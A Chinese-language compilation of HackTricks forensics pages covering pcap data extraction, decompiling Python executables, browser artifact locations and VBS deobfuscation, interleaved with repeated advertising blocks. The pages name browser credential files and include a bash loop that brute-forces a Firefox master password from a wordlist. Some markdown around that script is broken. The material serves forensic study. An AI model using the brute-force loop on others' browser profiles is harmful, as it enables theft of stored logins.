pcap = rdpcap("final2.pcapng")

def rm_data(data):
splitted = data.split(b"DATA")
if len(splitted) == 1:
return data
else:
return splitted[0]+splitted[1][4:]

all_bytes = b""
for pkt in pcap:
if Raw in pkt:
a = pkt[Raw]
if b"WRTE" == bytes(a)[:4]:
all_bytes += rm_data(bytes(a)[24:])
else:
all_bytes += rm_data(bytes(a))
print(all_bytes)

f = open('all_bytes.data', 'w+b')
f.write(all_bytes)
f.close()
```

### [WhiteIntel](https://whiteintel.io)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-878e43bb9c156ea00e2843c8fc47e5e4ebfbc581%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Specific Software/File-Type Tricks

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上关注我们。\*\*
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

在这里，您可以找到特定文件类型和/或软件的有趣技巧：

{% content-ref url="/pages/A725x1UZDCSx2vkavFKu" %}
[Decompile compiled python binaries (exe, elf) - Retreive from .pyc](/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc)
{% endcontent-ref %}

{% content-ref url="/pages/8iPu0c7ZAsqDdLY0ln1K" %}
[Browser Artifacts](/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts)
{% endcontent-ref %}

{% content-ref url="/pages/PDh70A3EPXbpB4E1nlQU" %}
[Deofuscation vbs (cscript.exe)](/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe)
{% endcontent-ref %}

{% content-ref url="/pages/bituGrfskB8yrKI76Geb" %}
[Local Cloud Storage](/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage)
{% endcontent-ref %}

{% content-ref url="/pages/DgomT4GOalpEB3i0UdEr" %}
[Office file analysis](/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis)
{% endcontent-ref %}

{% content-ref url="/pages/xJUV0e2MXy1Ah1vRtTv6" %}
[PDF File analysis](/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis)
{% endcontent-ref %}

{% content-ref url="/pages/lb6BPcWyBN3PpRounWZT" %}
[PNG tricks](/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks)
{% endcontent-ref %}

{% content-ref url="/pages/zeLgt8R5cD9Gj9av2LBM" %}
[Video and Audio file analysis](/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis)
{% endcontent-ref %}

{% content-ref url="/pages/87ARo9Le9rOVj7iKJjXp" %}
[ZIPs tricks](/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks)
{% endcontent-ref %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上关注我们。\*\*
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Decompile compiled python binaries (exe, elf) - Retreive from .pyc

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-ce4fbfd491ab398bd58639023728b416b0758bc1%2Fi3.png?alt=media" alt=""><figcaption></figcaption></figure>

**漏洞赏金提示**：**注册**Intigriti，一个由黑客创建的高级**漏洞赏金平台**！立即加入我们，访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达\*\*$100,000\*\*的赏金！

{% embed url="<https://go.intigriti.com/hacktricks>" %}

## 从编译的二进制文件到 .pyc

从一个**ELF**编译的二进制文件中，您可以使用以下方法获取\*\*.pyc\*\*：

```bash
pyi-archive_viewer <binary>
# The list of python modules will be given here:
[(0, 230, 311, 1, 'm', 'struct'),
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
(15535, 2514, 4421, 1, 's', 'binary_name'),
...

? X binary_name
to filename? /tmp/binary.pyc
```

在一个**Python可执行二进制文件**中编译，您可以通过运行以下命令**获取 .pyc 文件**：

```bash
python pyinstxtractor.py executable.exe
```

## 从 .pyc 文件到 Python 代码

对于 **.pyc** 数据（"已编译"的 Python），您应该开始尝试 **提取** **原始** **Python** **代码**：

```bash
uncompyle6 binary.pyc  > decompiled.py
```

**确保**二进制文件的**扩展名**为"**.pyc**"（如果不是，则uncompyle6将无法工作）

在执行**uncompyle6**时，您可能会遇到以下错误：

### 错误：未知的魔术数字227

```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```

要修复这个问题，您需要在生成的文件开头**添加正确的魔术数字**。

**魔术数字随Python版本而变化**，要获取**Python 3.8**的魔术数字，您需要**打开Python 3.8**终端并执行：

```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```

在这种情况下，Python3.8 的**魔术数字**是\*\*`0x550d0d0a`**，为了修复这个错误，您需要在**.pyc 文件**的**开头\*\*添加以下字节：`0x0d550a0d000000000000000000000000`

**一旦**您添加了这个魔术头部，错误应该就会被修复。

这是一个正确添加的\*\*.pyc Python3.8 魔术头部\*\*的样子：

```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
0000010 00e3 0000 0000 0000 0000 0000 0000 0000
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```

### 错误：反编译通用错误

**其他错误**，如：`class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` 可能会出现。

这可能意味着您**没有正确添加**魔术数字，或者您**没有使用\*\*\*\*正确的魔术数字**，因此请确保您使用正确的魔术数字（或尝试一个新的）。

请查看先前的错误文档。

## 自动工具

[**python-exe-unpacker 工具**](https://github.com/countercept/python-exe-unpacker) 作为几个社区可用工具的组合，旨在帮助研究人员解压和反编译使用py2exe和pyinstaller创建的Python可执行文件。它包括YARA规则，用于识别可执行文件是否基于Python，并确认创建工具。

### ImportError：文件名：'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' 不存在

一个常见问题涉及到一个不完整的Python字节码文件，这是由于使用unpy2exe或pyinstxtractor进行解包过程而导致的，然后由于缺少Python字节码版本号而**无法被uncompyle6识别**。为了解决这个问题，添加了一个prepend选项，它附加了必要的Python字节码版本号，从而促进了反编译过程。

问题示例：

```python
# Error when attempting to decompile without the prepend option
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
Traceback (most recent call last):
...
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
```

```python
# Successful decompilation after using the prepend option
test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
[*] On Python 2.7
[+] Magic bytes are already appended.

# Successfully decompiled file
[+] Successfully decompiled.
```

## 分析Python汇编

如果您无法按照先前的步骤提取Python的“原始”代码，那么您可以尝试提取汇编代码（但它并不是非常描述性的，所以请尝试再次提取原始代码）。在[这里](https://bits.theorem.co/protecting-a-python-codebase/)我找到了一个非常简单的代码来反汇编\_.pyc\_二进制文件（祝您好运理解代码流程）。如果\_.pyc\_是来自Python2，请使用Python2：

```bash
>>> import dis
>>> import marshal
>>> import struct
>>> import imp
>>>
>>> with open('hello.pyc', 'r') as f:  # Read the binary file
...     magic = f.read(4)
...     timestamp = f.read(4)
...     code = f.read()
...
>>>
>>> # Unpack the structured content and un-marshal the code
>>> magic = struct.unpack('<H', magic[:2])
>>> timestamp = struct.unpack('<I', timestamp)
>>> code = marshal.loads(code)
>>> magic, timestamp, code
((62211,), (1425911959,), <code object <module> at 0x7fd54f90d5b0, file "hello.py", line 1>)
>>>
>>> # Verify if the magic number corresponds with the current python version
>>> struct.unpack('<H', imp.get_magic()[:2]) == magic
True
>>>
>>> # Disassemble the code object
>>> dis.disassemble(code)
1           0 LOAD_CONST               0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
3 MAKE_FUNCTION            0
6 STORE_NAME               0 (hello_world)
9 LOAD_CONST               1 (None)
12 RETURN_VALUE
>>>
>>> # Also disassemble that const being loaded (our function)
>>> dis.disassemble(code.co_consts[0])
2           0 LOAD_CONST               1 ('Hello  {0}')
3 LOAD_ATTR                0 (format)
6 LOAD_FAST                0 (name)
9 CALL_FUNCTION            1
12 PRINT_ITEM
13 PRINT_NEWLINE
14 LOAD_CONST               0 (None)
17 RETURN_VALUE
```

## Python转可执行文件

首先，我们将向您展示如何在py2exe和PyInstaller中编译有效载荷。

### 使用py2exe创建有效载荷：

1. 从[http://www.py2exe.org/](http://www.py2exe.org)安装py2exe软件包。
2. 对于有效载荷（在本例中，我们将其命名为hello.py），使用类似于图1中的脚本。选项“bundle\_files”值为1将把所有内容，包括Python解释器，捆绑到一个exe文件中。
3. 一旦脚本准备就绪，我们将发出命令“python setup.py py2exe”。这将创建可执行文件，就像图2中所示。

```python
from distutils.core import setup
import py2exe, sys, os

sys.argv.append('py2exe')

setup(
options = {'py2exe': {'bundle_files': 1}},
#windows = [{'script': "hello.py"}],
console = [{'script': "hello.py"}],
zipfile = None,
)
```

```bash
C:\Users\test\Desktop\test>python setup.py py2exe
running py2exe
*** searching for required modules ***
*** parsing results ***
*** finding dlls needed ***
*** create binaries ***
*** byte compile python files ***
*** copy extensions ***
*** copy dlls ***
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```

### 使用PyInstaller创建payload：

1. 使用pip安装PyInstaller（pip install pyinstaller）。
2. 然后，我们将发出命令“pyinstaller –onefile hello.py”（提醒一下，‘hello.py’是我们的payload）。这将把所有内容捆绑到一个可执行文件中。

```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
108 INFO: Python: 2.7.14
108 INFO: Platform: Windows-10-10.0.16299
………………………………
5967 INFO: checking EXE
5967 INFO: Building EXE because out00-EXE.toc is non existent
5982 INFO: Building EXE from out00-EXE.toc
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
```

## 参考资料

* <https://blog.f-secure.com/how-to-decompile-any-python-binary/>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-ce4fbfd491ab398bd58639023728b416b0758bc1%2Fi3.png?alt=media" alt=""><figcaption></figcaption></figure>

**漏洞赏金提示**：**注册**Intigriti，这是一家由黑客创建的高级**漏洞赏金平台**！立即加入我们，访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达\*\*$100,000\*\*的赏金！

{% embed url="<https://go.intigriti.com/hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Browser Artifacts

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)可以轻松构建和**自动化工作流程**，使用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## 浏览器遗留物 <a href="#id-3def" id="id-3def"></a>

浏览器遗留物包括由网络浏览器存储的各种数据，例如浏览历史记录、书签和缓存数据。这些遗留物存储在操作系统中特定的文件夹中，不同浏览器的位置和名称各不相同，但通常存储类似的数据类型。

以下是最常见的浏览器遗留物摘要：

* **浏览历史记录**：跟踪用户访问网站的记录，有助于识别访问恶意网站的情况。
* **自动完成数据**：基于频繁搜索的建议，结合浏览历史记录可提供洞察。
* **书签**：用户保存的用于快速访问的网站。
* **扩展和插件**：用户安装的浏览器扩展或插件。
* **缓存**：存储网页内容（例如图片、JavaScript文件）以提高网站加载速度，对取证分析很有价值。
* **登录信息**：存储的登录凭据。
* **网站图标**：与网站相关联的图标，显示在标签和书签中，可提供有关用户访问的额外信息。
* **浏览器会话**：与打开的浏览器会话相关的数据。
* **下载**：通过浏览器下载的文件记录。
* **表单数据**：输入到网络表单中的信息，保存以供将来自动填充建议使用。
* **缩略图**：网站的预览图像。
* **Custom Dictionary.txt**：用户添加到浏览器字典中的单词。

## 火狐浏览器

火狐浏览器将用户数据组织在配置文件中，根据操作系统存储在特定位置：

* **Linux**：`~/.mozilla/firefox/`
* **MacOS**：`/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**：`%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`

这些目录中的`profiles.ini`文件列出了用户配置文件。每个配置文件的数据存储在`profiles.ini`中的`Path`变量命名的文件夹中，该文件夹位于`profiles.ini`所在的同一目录中。如果配置文件的文件夹丢失，可能已被删除。

在每个配置文件文件夹中，您可以找到几个重要文件：

* **places.sqlite**：存储历史记录、书签和下载。Windows上的工具如[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html)可以访问历史数据。
* 使用特定的SQL查询提取历史和下载信息。
* **bookmarkbackups**：包含书签的备份。
* **formhistory.sqlite**：存储网络表单数据。
* **handlers.json**：管理协议处理程序。
* **persdict.dat**：自定义字典单词。
* **addons.json**和**extensions.sqlite**：安装的插件和扩展信息。
* **cookies.sqlite**：Cookie存储，可通过Windows上的[MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)进行检查。
* **cache2/entries**或**startupCache**：缓存数据，可通过工具如[MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html)访问。
* **favicons.sqlite**：存储网站图标。
* **prefs.js**：用户设置和偏好。
* **downloads.sqlite**：旧的下载数据库，现已整合到places.sqlite中。
* **thumbnails**：网站缩略图。
* **logins.json**：加密的登录信息。
* **key4.db**或**key3.db**：存储用于保护敏感信息的加密密钥。

此外，可以通过在`prefs.js`中搜索`browser.safebrowsing`条目来检查浏览器的反钓鱼设置，以确定安全浏览功能是否已启用或已禁用。

要尝试解密主密码，可以使用<https://github.com/unode/firefox_decrypt>\
使用以下脚本和调用，您可以指定一个密码文件进行暴力破解：

{% code title="brute.sh" %}

```
```

{% endcode %}

\`\`\`bash #!/bin/bash

\#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do echo "Trying $pass" echo "$pass" | python firefox\_decrypt.py done < $passfile

```
## Google Chrome

Google Chrome将用户配置文件存储在特定位置，取决于操作系统：

- **Linux**：`~/.config/google-chrome/`
- **Windows**：`C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**：`/Users/$USER/Library/Application Support/Google/Chrome/`

在这些目录中，大多数用户数据可以在**Default/**或**ChromeDefaultData/**文件夹中找到。以下文件包含重要数据：

- **History**：包含URL、下载和搜索关键字。在Windows上，可以使用[ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)来查看历史记录。"Transition Type"列具有各种含义，包括用户点击链接、输入的URL、表单提交和页面重新加载。
- **Cookies**：存储Cookie。可使用[ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html)进行检查。
- **Cache**：保存缓存数据。Windows用户可以使用[ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html)进行检查。
- **Bookmarks**：用户书签。
- **Web Data**：包含表单历史。
- **Favicons**：存储网站图标。
- **Login Data**：包括用户名和密码等登录凭据。
- **Current Session**/**Current Tabs**：关于当前浏览会话和打开标签页的数据。
- **Last Session**/**Last Tabs**：有关在Chrome关闭之前上次会话期间活动的信息。
- **Extensions**：浏览器扩展和插件的目录。
- **Thumbnails**：存储网站缩略图。
- **Preferences**：包含丰富信息的文件，包括插件、扩展、弹出窗口、通知等的设置。
- **浏览器内置的反钓鱼**：要检查反钓鱼和恶意软件保护是否已启用，请运行`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`。在输出中查找`{"enabled: true,"}`。

## **SQLite数据库数据恢复**

正如前面部分所示，Chrome和Firefox都使用**SQLite**数据库存储数据。可以使用工具[**sqlparse**](https://github.com/padfoot999/sqlparse)或[**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)来**恢复已删除的条目**。

## **Internet Explorer 11**

Internet Explorer 11在各个位置管理其数据和元数据，有助于分离存储的信息及其对应的详细信息，以便轻松访问和管理。

### 元数据存储

Internet Explorer的元数据存储在`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`（其中VX为V01、V16或V24）。除此之外，`V01.log`文件可能显示与`WebcacheVX.data`的修改时间不一致，表明需要使用`esentutl /r V01 /d`进行修复。这些存储在ESE数据库中的元数据可以使用工具如photorec和[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)进行恢复和检查。在**Containers**表中，可以区分存储每个数据段的特定表或容器，包括其他Microsoft工具（如Skype）的缓存详细信息。

### 缓存检查

[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html)工具允许进行缓存检查，需要提供缓存数据提取文件夹的位置。缓存的元数据包括文件名、目录、访问计数、URL来源以及指示缓存创建、访问、修改和过期时间的时间戳。

### Cookies管理

可以使用[IECookiesView](https://www.nirsoft.net/utils/iecookies.html)来探索Cookie，元数据包括名称、URL、访问计数和各种与时间相关的详细信息。持久Cookie存储在`%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`中，会话Cookie存储在内存中。

### 下载详细信息

可以通过[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)访问下载元数据，特定容器包含URL、文件类型和下载位置等数据。物理文件可以在`%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`下找到。

### 浏览历史

要查看浏览历史，可以使用[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)，需要提供提取的历史文件位置和Internet Explorer的配置。这里的元数据包括修改和访问时间，以及访问计数。历史文件位于`%userprofile%\Appdata\Local\Microsoft\Windows\History`中。

### 输入的URL

输入的URL及其使用时间存储在注册表中的`NTUSER.DAT`中的`Software\Microsoft\InternetExplorer\TypedURLs`和`Software\Microsoft\InternetExplorer\TypedURLsTime`下，跟踪用户输入的最后50个URL及其最后输入时间。

## Microsoft Edge

Microsoft Edge将用户数据存储在`%userprofile%\Appdata\Local\Packages`中。各种数据类型的路径为：

- **配置文件路径**：`C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **历史记录、Cookie和下载**：`C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **设置、书签和阅读列表**：`C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **缓存**：`C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **最后活动会话**：`C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`

## Safari

Safari数据存储在`/Users/$User/Library/Safari`。关键文件包括：

- **History.db**：包含`history_visits`和`history_items`表，包含URL和访问时间戳。使用`sqlite3`进行查询。
- **Downloads.plist**：有关下载文件的信息。
- **Bookmarks.plist**：存储书签的URL。
- **TopSites.plist**：最常访问的站点。
- **Extensions.plist**：Safari浏览器扩展列表。使用`plutil`或`pluginkit`进行检索。
- **UserNotificationPermissions.plist**：允许推送通知的域。使用`plutil`进行解析。
- **LastSession.plist**：上次会话的标签页。使用`plutil`进行解析。
- **浏览器内置的反钓鱼**：使用`defaults read com.apple.Safari WarnAboutFraudulentWebsites`进行检查。响应为1表示该功能已激活。

## Opera

Opera的数据存储在`/Users/$USER/Library/Application Support/com.operasoftware.Opera`中，并与Chrome的格式相同，用于历史记录和下载。

- **浏览器内置的反钓鱼**：通过检查偏好设置文件中`fraud_protection_enabled`是否设置为`true`，使用`grep`进行验证。

这些路径和命令对于访问和理解不同网络浏览器存储的浏览数据至关重要。
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
```


# Deofuscation vbs (cscript.exe)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

一些有助于调试/反混淆恶意VBS文件的方法：

### echo

```bash
Wscript.Echo "Like this?"
```

### 评论

```bash
' this is a comment
```

### 测试

```bash
cscript.exe file.vbs
```

### 写入数据到文件

```js
Function writeBinary(strBinary, strPath)

Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")

' below lines purpose: checks that write access is possible!
Dim oTxtStream

On Error Resume Next
Set oTxtStream = oFSO.createTextFile(strPath)

If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
On Error GoTo 0

Set oTxtStream = Nothing
' end check of write access

With oFSO.createTextFile(strPath)
.Write(strBinary)
.Close
End With

End Function
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
